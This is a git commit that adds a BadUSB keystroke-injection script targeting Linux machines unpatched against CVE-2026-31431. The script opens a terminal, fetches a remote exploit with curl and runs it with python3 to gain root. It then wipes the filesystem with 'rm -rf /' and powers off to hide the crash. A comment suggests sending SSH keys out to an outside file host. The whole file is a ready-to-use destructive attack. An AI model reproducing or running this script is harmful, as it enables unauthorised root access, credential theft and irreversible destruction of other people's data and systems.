Added BADUSB folder with CVE-2026-31431 exploit

This commit is contained in:
Jon
2026-05-01 23:12:28 +01:00
parent 0e0df6d651
commit 188caaa434
2 changed files with 85 additions and 0 deletions

42
badusb/CVE-2026-31431.txt Normal file
View File

@@ -0,0 +1,42 @@
REM #############################
REM ####### DANGER !! ###########
REM #############################
REM This script will wipe a linux machine unpatched to CVE-2026-31431
REM launch via GUI evokes terminal through 2 methods then runs attack and wipes root with rm rf
REM GUI launch terminal in kde gnome plasma
DELAY 500
GUI
STRING terminal
ENTER
DELAY 500
REM launch via hotkeys for terminal
DELAY 500
CTRL-ALT T
DELAY 200
ENTER
ENTER
REM make attack file and exec
STRING curl https://copy.fail/exp -o cve.py
ENTER
ENTER
DELAY 100
STRING python3 cve.py
ENTER
ENTER
REM add any other exploits here whilst your root, dump ssh keys via https://temp.sh/
REM clean up after
STRING rm -rf /
REM add 5s delay enough time to think about it before hitting enter or control c
DELAY 5000
ENTER
REM poweroff to hide the crash afer 3 seconds and shell will run when rm is done
DELAY 3000
STRING poweroff
ENTER